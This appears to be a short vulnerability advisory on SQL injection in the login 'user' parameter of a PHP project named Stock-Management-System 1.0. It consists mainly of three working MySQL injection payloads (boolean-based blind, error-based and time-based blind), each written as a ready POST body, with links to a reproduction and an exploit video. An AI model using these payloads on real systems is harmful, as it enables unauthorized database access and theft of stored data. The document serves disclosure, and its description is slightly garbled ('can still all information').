## Title: Stock-Management-System-2022-1.0-from-Erick-Cesar Multiple SQLi
## Author: nu11secur1ty
## Date: 12.22.2022
## Vendor: https://github.com/rickxy/Stock-Management-System
## Software: https://github.com/rickxy/Stock-Management-System
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/rickxy/2022/Stock-Management-System-1.0

## Description:
The `user` parameter appears to be vulnerable to SQL injection attacks.
The payload ' was submitted in the user parameter, and a database
error message was returned.
The attacker can still all information for the system by using this
vulnerability.

## STATUS: HIGH Vulnerability - CRITICAL

[+] Payload:

```MySQL
---
Parameter: user (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY
or GROUP BY clause
    Payload: user=bqxDgfIK' RLIKE (SELECT (CASE WHEN (8457=8457) THEN
0x627178446766494b ELSE 0x28 END)) AND
'BTvs'='BTvs&password=s9U!o7d!C0&btnlogin=

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: user=bqxDgfIK' AND (SELECT 5004 FROM(SELECT
COUNT(*),CONCAT(0x7178767071,(SELECT
(ELT(5004=5004,1))),0x7171707a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
'aQfu'='aQfu&password=s9U!o7d!C0&btnlogin=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user=bqxDgfIK' AND (SELECT 8137 FROM
(SELECT(SLEEP(7)))nCyy) AND 'vQsi'='vQsi&password=s9U!o7d!C0&btnlogin=
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/rickxy/2022/Stock-Management-System-1.0)


## Proof and Exploit:
[href](https://streamable.com/gg7pyf)

## Time spent
`00:05:00`

## Writing an exploit
`00:05:00`